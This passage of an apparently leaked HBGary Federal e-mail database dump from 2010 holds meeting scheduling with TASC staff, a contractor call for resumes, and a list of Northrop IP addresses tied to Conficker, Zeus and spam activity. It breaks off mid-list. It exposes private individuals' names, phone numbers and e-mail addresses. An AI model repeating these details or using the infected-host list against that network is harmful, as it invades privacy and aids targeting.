contain\r\nconfidential or privileged information. If the reader of this e-mail is not the\r\nintended recipient or his or her authorized agent, the reader is hereby\r\nnotified that any dissemination, distribution or copying of this e-mail is\r\nprohibited. If you think that you have received this e-mail in error, please\r\nadvise the sender by reply e-mail of the error and then delete this e-mail\r\nimmediately.\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9529,'aaron_hbgary_com/9529.html'),(7010,'2010-06-04','\"Harris, Irene G (TASC)\" <irene.harris@TASC.COM>','/aaron@hbgary.com/new/1297005097.M584340P14101Q1866.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Phone call','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron, thank you!\r\n\r\n&nbsp;\r\n\r\nWill schedule for 9:30 am\r\n\r\n&nbsp;\r\n\r\nIrene\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, June 04, 2010 8:37 AM\r\nTo: Harris, Irene G (TASC)\r\nSubject: Re: Phone call\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nYes. &nbsp;I am flexible until 2pm.\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jun 4, 2010, at 6:34 AM, &quot;Harris, Irene G (TASC)&quot; &lt;irene.harris@TASC.COM&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi\r\nAaron, are you available for a phone call this morning with Al Pisani?\r\n\r\n&nbsp;\r\n\r\nThank\r\nyou,\r\n\r\nIrene\r\n\r\n&nbsp;\r\n\r\n\r\nIrene Harris \r\nExecutive Assistant\r\nto Albert A. Pisani, Vice President\r\nIntelligence Operations Business Unit \r\nOffice: 703-633-8473\r\n\r\nBB: 703-201-7718\r\n\r\nFax: 703-449-3999\r\n\r\nirene.harris@tasc.com \r\n-----------------------------------\r\n\r\n&lt;image001.jpg&gt;\r\n4803 Stonecroft\r\nBoulevard\r\n\r\nChantilly, VA 20151\r\n\r\n\r\n&nbsp;\r\n\r\nThis e-mail, including attachments, is intended for the\r\nexclusive use of the person or entity to whom it is addressed and may contain\r\nconfidential or privileged information. If the reader of this e-mail is not the\r\nintended recipient or his or her authorized agent, the reader is hereby\r\nnotified that any dissemination, distribution or copying of this e-mail is\r\nprohibited. If you think that you have received this e-mail in error, please\r\nadvise the sender by reply e-mail of the error and then delete this e-mail\r\nimmediately.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3449,'aaron_hbgary_com/3449.html'),(7011,'2010-06-04','\"Harris, Irene G (TASC)\" <irene.harris@TASC.COM>','/aaron@hbgary.com/new/1297005097.M77095P14101Q1864.eml','\"Aaron Barr\" <aaron@hbgary.com>','Phone call','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron, are you available for a phone call this morning\r\nwith Al Pisani?\r\n\r\n&nbsp;\r\n\r\nThank you,\r\n\r\nIrene\r\n\r\n&nbsp;\r\n\r\n\r\nIrene Harris \r\nExecutive\r\nAssistant to Albert A. Pisani, Vice President\r\nIntelligence Operations Business Unit \r\nOffice:\r\n703-633-8473 \r\nBB:\r\n703-201-7718\r\n\r\nFax:\r\n703-449-3999\r\n\r\nirene.harris@tasc.com \r\n----------------------------------- \r\n\r\n4803\r\nStonecroft Boulevard\r\n\r\nChantilly,\r\nVA 20151\r\n\r\n\r\n&nbsp;\r\n\r\nThis e-mail, including attachments, is intended for the\r\nexclusive use of the person or entity to whom it is addressed and may contain\r\nconfidential or privileged information. If the reader of this e-mail is not the\r\nintended recipient or his or her authorized agent, the reader is hereby\r\nnotified that any dissemination, distribution or copying of this e-mail is\r\nprohibited. If you think that you have received this e-mail in error, please\r\nadvise the sender by reply e-mail of the error and then delete this e-mail\r\nimmediately.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12913,'aaron_hbgary_com/12913.html'),(7012,'2010-06-04','\"Pisani, Albert A. (TASC)\" <albert.pisani@TASC.COM>','/aaron@hbgary.com/new/1297005097.M815895P14101Q1867.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Heider, Raymond A (TASC)\" <raymond.heider@TASC.COM>,\"Lovegrove, John (TASC)\" <John.Lovegrove@tasc.com>','Meeting (Aaron Barr/Ray Heider/John Lovegrove/Al Pisani)','\r\n\r\n\r\n\r\n\r\nMeeting (Aaron Barr/Ray Heider/John Lovegrove/Al Pisani)\r\n\r\n\r\n\r\n\r\nWhen: Friday, June 04, 2010 9:30 AM-10:00 AM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: Al\'s office and Teleconference: 866.740.2200, x4182684#\r\n\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\nTelcon info: \r\n\r\n866.740.2200, x4182684#\r\n\r\n\r\n\r\n\r\n',2380,'aaron_hbgary_com/2380.html'),(7013,'2010-06-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005098.M271409P14101Q1869.eml','\"Harris, Irene G (TASC)\" <irene.harris@TASC.COM>','Re: Phone call','I did.On Jun 4, 2010, at 6:55 AM, Harris, Irene G (TASC) wrote:Aaron, did you get the appointment?&nbsp;Irene&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Friday, June 04, 2010 8:37 AMTo:&nbsp;Harris, Irene G (TASC)Subject:&nbsp;Re: Phone call&nbsp;Yes. &nbsp;I am flexible until 2pm.AaronSent from my iPadOn Jun 4, 2010, at 6:34 AM, \"Harris, Irene G (TASC)\" &lt;irene.harris@TASC.COM&gt; wrote:Hi Aaron, are you available for a phone call this morning with Al Pisani?&nbsp;Thank you,Irene&nbsp;Irene Harris&nbsp;Executive Assistant to Albert A. Pisani, Vice PresidentIntelligence Operations Business Unit&nbsp;Office: 703-633-8473&nbsp;BB: 703-201-7718&nbsp;Fax: 703-449-3999&nbsp;irene.harris@tasc.com&nbsp;-----------------------------------&nbsp;&lt;image001.jpg&gt;4803 Stonecroft BoulevardChantilly, VA 20151&nbsp;This e-mail, including attachments, is intended for the exclusive use of the person or entity to whom it is addressed and may contain confidential or privileged information. If the reader of this e-mail is not the intended recipient or his or her authorized agent, the reader is hereby notified that any dissemination, distribution or copying of this e-mail is prohibited. If you think that you have received this e-mail in error, please advise the sender by reply e-mail of the error and then delete this e-mail immediately.&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',3198,'aaron_hbgary_com/3198.html'),(7014,'2010-06-04','\"Harris, Irene G (TASC)\" <irene.harris@TASC.COM>','/aaron@hbgary.com/new/1297005098.M60139P14101Q1868.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Phone call','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron, did you get the appointment?\r\n\r\n&nbsp;\r\n\r\nIrene\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, June 04, 2010 8:37 AM\r\nTo: Harris, Irene G (TASC)\r\nSubject: Re: Phone call\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nYes. &nbsp;I am flexible until 2pm.\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jun 4, 2010, at 6:34 AM, &quot;Harris, Irene G (TASC)&quot; &lt;irene.harris@TASC.COM&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi\r\nAaron, are you available for a phone call this morning with Al Pisani?\r\n\r\n&nbsp;\r\n\r\nThank\r\nyou,\r\n\r\nIrene\r\n\r\n&nbsp;\r\n\r\n\r\nIrene Harris \r\nExecutive Assistant\r\nto Albert A. Pisani, Vice President\r\nIntelligence Operations Business Unit \r\nOffice: 703-633-8473\r\n\r\nBB: 703-201-7718\r\n\r\nFax: 703-449-3999\r\n\r\nirene.harris@tasc.com \r\n-----------------------------------\r\n\r\n&lt;image001.jpg&gt;\r\n4803 Stonecroft\r\nBoulevard\r\n\r\nChantilly, VA 20151\r\n\r\n\r\n&nbsp;\r\n\r\nThis e-mail, including attachments, is intended for the\r\nexclusive use of the person or entity to whom it is addressed and may contain\r\nconfidential or privileged information. If the reader of this e-mail is not the\r\nintended recipient or his or her authorized agent, the reader is hereby\r\nnotified that any dissemination, distribution or copying of this e-mail is\r\nprohibited. If you think that you have received this e-mail in error, please\r\nadvise the sender by reply e-mail of the error and then delete this e-mail\r\nimmediately.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6192,'aaron_hbgary_com/6192.html'),(7015,'2010-06-04','\"Harris, Irene G (TASC)\" <irene.harris@TASC.COM>','/aaron@hbgary.com/new/1297005098.M762981P14101Q1870.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Phone call','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks J\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, June 04, 2010 8:57 AM\r\nTo: Harris, Irene G (TASC)\r\nSubject: Re: Phone call\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nI did.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Jun 4, 2010, at 6:55 AM, Harris, Irene G (TASC) wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron, did you get the appointment?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nIrene\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Friday, June 04,\r\n2010 8:37 AM\r\nTo:&nbsp;Harris, Irene G (TASC)\r\nSubject:&nbsp;Re: Phone call\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nYes. &nbsp;I am flexible until 2pm.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jun 4, 2010, at 6:34 AM, &quot;Harris, Irene G (TASC)&quot; &lt;irene.harris@TASC.COM&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron, are you available for a phone call this morning\r\nwith Al Pisani?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThank you,\r\n\r\n\r\n\r\n\r\n\r\nIrene\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\nIrene Harris&nbsp;\r\nExecutive Assistant\r\nto Albert A. Pisani, Vice President\r\nIntelligence Operations Business Unit&nbsp;\r\nOffice: 703-633-8473&nbsp;\r\nBB: 703-201-7718&nbsp;\r\nFax: 703-449-3999&nbsp;\r\nirene.harris@tasc.com&nbsp;\r\n-----------------------------------&nbsp;\r\n&lt;image001.jpg&gt;\r\n4803 Stonecroft\r\nBoulevard\r\n\r\n\r\n\r\n\r\n\r\nChantilly,\r\nVA 20151\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nThis\r\ne-mail, including attachments, is intended for the exclusive use of the person\r\nor entity to whom it is addressed and may contain confidential or privileged\r\ninformation. If the reader of this e-mail is not the intended recipient or his\r\nor her authorized agent, the reader is hereby notified that any dissemination,\r\ndistribution or copying of this e-mail is prohibited. If you think that you\r\nhave received this e-mail in error, please advise the sender by reply e-mail of\r\nthe error and then delete this e-mail immediately.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14012,'aaron_hbgary_com/14012.html'),(7016,'2010-06-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005098.M977425P14101Q1871.eml','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>,\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>,,','Re: COIN Update','I can meet early on Monday. &nbsp;I just have to be in DC at 12pm.Tuesday morning I am meeting with a mobile development company in the DC area, PointAbout, Inc. &nbsp;Check them out, a lot of capabilities, executives from Microsoft and Google. &nbsp;Their existing capabilities have a lot of promise.AaronOn Jun 4, 2010, at 5:32 AM, Clair, Chris (TASC) wrote:\r\n\r\nHi Aaron,\r\n\r\nCan we meet Monday or Tuesday morning?&nbsp; I am out of the office today but will be in next week.\r\n\r\nChris\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Thu 6/3/2010 5:16 PM\r\nTo: Clair, Chris (TASC); Lovegrove, John (TASC)\r\nCc: Pisani, Albert A. (TASC)\r\nSubject: COIN Update\r\n\r\nAll,\r\n\r\nI am fairly certain that NG is teaming with SAIC for the recompete.&nbsp; This creates a significant challenge that we need to discuss.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',3633,'aaron_hbgary_com/3633.html'),(7017,'2010-06-04','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297005099.M188971P14101Q1872.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','RE: COIN Update','\r\n\r\n\r\n\r\n\r\nRE: COIN Update\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\nHow does Wednesday look?&nbsp; John may be out of town early in the week.\r\n\r\nChris\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Fri 6/4/2010 9:19 AM\r\nTo: Clair, Chris (TASC)\r\nCc: Lovegrove, John (TASC); Pisani, Albert A. (TASC); Garcia, Kathy (TASC)\r\nSubject: Re: COIN Update\r\n\r\nI can meet early on Monday.&nbsp; I just have to be in DC at 12pm.\r\n\r\nTuesday morning I am meeting with a mobile development company in the DC area, PointAbout, Inc.&nbsp; Check them out, a lot of capabilities, executives from Microsoft and Google.&nbsp; Their existing capabilities have a lot of promise.\r\n\r\nAaron\r\n\r\nOn Jun 4, 2010, at 5:32 AM, Clair, Chris (TASC) wrote:\r\n\r\n&gt; Hi Aaron,\r\n&gt;\r\n&gt; Can we meet Monday or Tuesday morning?&nbsp; I am out of the office today but will be in next week.\r\n&gt;\r\n&gt; Chris\r\n&gt;\r\n&gt;\r\n&gt; -----Original Message-----\r\n&gt; From: Aaron Barr [mailto:aaron@hbgary.com]\r\n&gt; Sent: Thu 6/3/2010 5:16 PM\r\n&gt; To: Clair, Chris (TASC); Lovegrove, John (TASC)\r\n&gt; Cc: Pisani, Albert A. (TASC)\r\n&gt; Subject: COIN Update\r\n&gt;\r\n&gt; All,\r\n&gt;\r\n&gt; I am fairly certain that NG is teaming with SAIC for the recompete.&nbsp; This creates a significant challenge that we need to discuss.\r\n&gt;\r\n&gt; Aaron Barr\r\n&gt; CEO\r\n&gt; HBGary Federal Inc.\r\n&gt;\r\n&gt;\r\n&gt;\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11307,'aaron_hbgary_com/11307.html'),(7018,'2010-06-04','\"Daniel Ingevaldson\" <dsi@endgames.us>','/aaron@hbgary.com/new/1297005099.M398403P14101Q1873.eml','\"Chris Rouland\" <chris@endgames.us>,\"Aaron Barr\" <aaron@hbgary.com>','Discuss EGS/HBGary','When: Friday, June 04, 2010 3:30 PM-4:30 PM. Eastern Standard Time\r\nWhere: EGS to call Aaron\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n',9682,'aaron_hbgary_com/9682.html'),(7019,'2010-06-04','\"Staley, Ryan E\" <ryan.e.staley@lmco.com>','/aaron@hbgary.com/new/1297005099.M618343P14101Q1874.eml','\"Staley, Ryan E\" <ryan.e.staley@lmco.com>,\"Staley, Ryan E\" <ryan.e.staley@lmco.com>,','Marathon call for resumes','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nDear\r\nUNO Subcontractors:\r\n\r\n1.&nbsp;&nbsp;&nbsp; Introduction\r\n\r\nUNO has continuing\r\ncritical position requirements for Senior/Intermediate Software Engineer\r\npositions, a Software Tester position and a Technical Analyst position to fill\r\nvacancies on Task Order Marathon.&nbsp; If you feel that you have candidates\r\nwith the qualifications and expertise identified below, please advise Ryan\r\nStaley (Ryan.E.Staley@lmco.com) and Jim Racz (James.M.Racz@lmco.com) via email.&nbsp; Please include\r\nCandidate names and time &amp; materials labor rates in that email. Provide\r\nclassified resumes of proposed candidates only to Jim Racz via secure fax at\r\n703-793-6576, and labor rates to Ryan Staley via email.\r\n\r\nAll position work will be\r\nperformed at the sponsor&#8217;s location in Herndon, VA.&nbsp; Candidates\r\nmust already have the proper clearances (TS/ISSA) to work at a customer&#8217;s\r\nfacility.\r\n\r\nThe Period of Performance\r\nfor these rates shall cover&nbsp;6/14/2010\r\n&#8211; 6/13/2011.&nbsp; &nbsp;\r\n\r\nYour\r\nrates may follow your standard practice for period of performance, be it\r\ncalendar year or fiscal year. \r\n\r\n&nbsp;\r\n\r\n(Rate\r\nAbbreviation) - Title\r\n\r\n(SR\r\nSE) &#8211; Senior Software Engineer\r\n\r\n(IM\r\nSE) &#8211; Intermediate Software Engineer\r\n\r\n(IM\r\nST) &#8211; Intermediate Software Tester \r\n\r\n(SR\r\nTA) &#8211; Senior Technical Analyst\r\n\r\n&nbsp;\r\n\r\nSenior\r\nis defined as Undergraduate/Graduate Degree (CS/CE) with/or (8) Eight or more\r\nyears of applied/practical experience related to the technical domain.\r\n\r\n&nbsp;\r\n\r\nIntermediate\r\nis defined as Undergraduate/Graduate Degree (CS/CE) with/or (4 to 6) Four to\r\nSix years of applied/practical experience related to the technical domain.\r\n\r\n&nbsp;\r\n\r\nAll\r\nprevious candidate resumes submitted in response to previous and/or similar\r\nTask Order Marathon position Call for Resumes shall not be revisited.&nbsp;\r\nPlease resubmit those candidate resumes that are deemed meeting the\r\nqualifications/expertise anew.\r\n\r\n&nbsp;\r\n\r\n2.&nbsp;&nbsp;&nbsp;\r\nRequirements\r\n\r\n&nbsp;\r\n\r\na. Requirements of the Senior Software Engineer position:\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nPerforming\r\nC/C++, Python Programming (use of Visual Studio).\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nDeveloping\r\nWindows Applications and services (driver experience desired).\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nUnderstanding\r\nof technical issues surrounding the designing, building and testing of software\r\ndevelopment kits supporting Windows platforms and frameworks.\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nCoding\r\nexperience on Intel or AMD platforms\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nSoftware\r\nconfiguration management.\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nPerforming\r\nWindows (and some Macintosh) programming for 32-bit (and 64-bit) systems.\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nSoftware\r\nreverse engineering.\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nUnderstanding\r\ncomputer, network hacker techniques and methodologies to include application\r\nand mitigation techniques.\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nUnderstanding\r\npublic exploits and awareness of new unpublished exploits.\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nApplied\r\nknowledge/experience developing and testing applications on Windows and Linux\r\nsystems.\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nUnderstanding\r\nand experience using intrusion detection programs, firewalls and standard\r\noperating features such as Kaspersky, Norton/Symantec, McAfee, Zone Alarm and\r\nAVG-AV.\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nSoftware\r\narchitecture and API development.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nb.&nbsp; Requirements of the\r\nSoftware Tester position:\r\n\r\n\r\n Applied knowledge/experience\r\n     performing C++ Programming (experience using Visual Studio)\r\n Applied knowledge/experience\r\n     performing Visual Programming\r\n Applied knowledge/experience\r\n     developing and testing Windows Applications (Windows 2000, XP, 2003\r\n     Server, Windows Vista (32-bit)\r\n Applied knowledge/experience\r\n     testing applications on a Genesis Linux box\r\n Applied knowledge designing,\r\n     building and testing software development kits and plug-ins supporting\r\n     Windows Platforms\r\n Experience building Microsoft\r\n     applications\r\n Coding experience on Intel and\r\n     AMD platforms \r\n Experience building test-bed\r\n     networks for automated regression testing\r\n Experience with software\r\n     configuration management, SourceSafe, CVS, and migrating from SourceSafe\r\n     to CVS\r\n Experience with unit-level\r\n     software testing&nbsp; (&amp;/or red-teaming) experience supporting\r\n     network software\r\n Applied knowledge/understanding\r\n     of software reverse engineering techniques (e.g., IDAPro and SoftIce)\r\n Understanding of end-to-end\r\n     software development &amp; delivery cycle, documentation development\r\n Public and non-published exploit\r\n     familiarity\r\n Computer/network hacker\r\n     techniques/methodologies; to include application and mitigation techniques\r\n     \r\n Experience using intrusion\r\n     detection programs, firewalls, and standard operating system features such\r\n     as Kaspersky, Norton/Symantec, McAfee, Zone Alarm, Windows,\r\n     and&nbsp;AVG-AV.\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nc.&nbsp; Requirements of the Technical\r\nAnalyst position:\r\n\r\n\r\n Identify strategy gaps and analyze, develop,\r\n     integrate and refine end-to-end, multi-discipline strategies on a variety\r\n     of technical tools and operational requirements.\r\n Conduct technical research utilizing a variety of\r\n     sources for evaluating both operational tools and processes.\r\n Track and articulate requirements, promote customer\r\n     &#8217;s capabilities, and conduct performance measurements using the\r\n     appropriate methodologies and approaches.\r\n Have a thorough knowledge of technologies and have\r\n     the ability to effectively communicate complex technical concepts.\r\n Responsible for the current and projected\r\n     Customer&#8217;s technical support needs, effectively aligning\r\n     Customer&#8217;s capabilities against those requirements, and managing the\r\n     resources to ensure that balanced development and maintenance\r\n     occurs.&nbsp; \r\n Responsible for coordinating and supporting the\r\n     Customer&#8217;s development, testing, production, fielding and\r\n     maintenance of technical tools as required.&nbsp; \r\n Provide technical solutions, project and program requirements\r\n     management, and ensure operational readiness throughout the procurement\r\n     and operational lifecycle of complex systems, tools and methods.\r\n\r\n\r\n&nbsp;\r\n\r\nThank you,\r\n\r\n&nbsp;\r\n\r\nRyan\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7489,'aaron_hbgary_com/7489.html'),(7020,'2010-06-04','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005099.M911102P14101Q1875.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Winterfeld, Steven P (TASC Inc)\" <steven.winterfeld@tasc.com>,\"David Lirette\" <david.p.lirette@ngc.com>','IP Query Results','Steve / Dave\r\n\r\nBelow are the results from our brief demo yesterday.  Listed first are\r\nthe Northrop IP addresses that have been linked to botnet activities,\r\nfollowed by a complete listing of the Northrop netblocks (per ARIN\r\nrecords) we queried against the EndGame database:\r\n\r\nIP : 12.48.17.62\r\nConfidence : 10%\r\nEvents :\r\n	Conficker A/B : Fri Aug 14 12:44:47 2009 GMT\r\n	Spam : Wed Mar 25 07:59:00 2009 GMT\r\n\r\nIP : 157.127.26.187\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Thu Feb 26 16:59:00 2009 GMT\r\n\r\nIP : 157.127.30.93\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Mon Mar  2 06:59:00 2009 GMT\r\n\r\nIP : 157.127.62.193\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Fri Feb 27 01:59:00 2009 GMT\r\n\r\nIP : 157.127.63.67\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Mon Mar  2 04:59:00 2009 GMT\r\n\r\nIP : 157.127.69.88\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Fri Feb 27 04:59:00 2009 GMT\r\n\r\nIP : 157.127.84.210\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Fri Jan  2 11:59:00 2009 GMT\r\n\r\nIP : 157.127.84.236\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Wed Mar 18 20:59:00 2009 GMT\r\n\r\nIP : 157.127.101.187\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Thu Mar  5 22:59:00 2009 GMT\r\n\r\nIP : 157.127.101.198\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Fri Mar 13 09:59:00 2009 GMT\r\n\r\nIP : 157.127.114.172\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Wed Feb 25 16:59:00 2009 GMT\r\n\r\nIP : 157.127.134.108\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Sun Mar  8 10:59:00 2009 GMT\r\n\r\nIP : 157.127.150.183\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Sun Mar  8 11:59:00 2009 GMT\r\n\r\nIP : 157.127.155.214\r\nConfidence : 35.152796%\r\nEvents :\r\n	Zeus : Tue Mar  2 00:38:26 2010 GMT\r\n\r\nIP : 157.127.172.248\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Mon Mar  9 14:59:00 2009 GMT\r\n\r\nIP : 157.127.195.108\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Sun Mar 15 22:59:00 2009 GMT\r\n\r\nIP : 157.127.195.127\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Mon Feb  9 05:59:00 2009 GMT\r\n\r\nIP : 157.127.203.218\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Mon Feb  9 11:59:00 2009 GMT\r\n\r\nIP : 157.127.229.95\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Mon Mar 16 04:59:00 2009 GMT\r\n\r\nIP : 134.223.35.149\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Wed Feb 11 13:59:00 2009 GMT\r\n\r\nIP : 134.223.46.22\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Sat Feb 21 12:59:00 2009 GMT\r\n\r\nIP : 134.223.46.123\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Fri Mar 13 22:59:00 2009 GMT\r\n\r\nIP : 134.223.74.16\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Fri Mar 20 14:59:00 2009 GMT\r\n\r\nIP : 134.223.82.192\r\nConfidence : 24.031133%\r\nEvents :\r\n	Spam : Mon Jan 18 16:59:00 2010 GMT\r\n\r\nIP : 134.223.99.187\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Mon Mar 16 17:59:00 2009 GMT\r\n\r\nIP : 134.223.114.177\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Wed Feb 25 18:59:00 2009 GMT\r\n\r\nIP : 134.223.150.38\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Sat Mar 14 06:59:00 2009 GMT\r\n\r\nIP : 134.223.157.87\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Thu Mar 12 00:59:00 2009 GMT\r\n\r\nIP : 134.223.168.212\r\nConfidence : 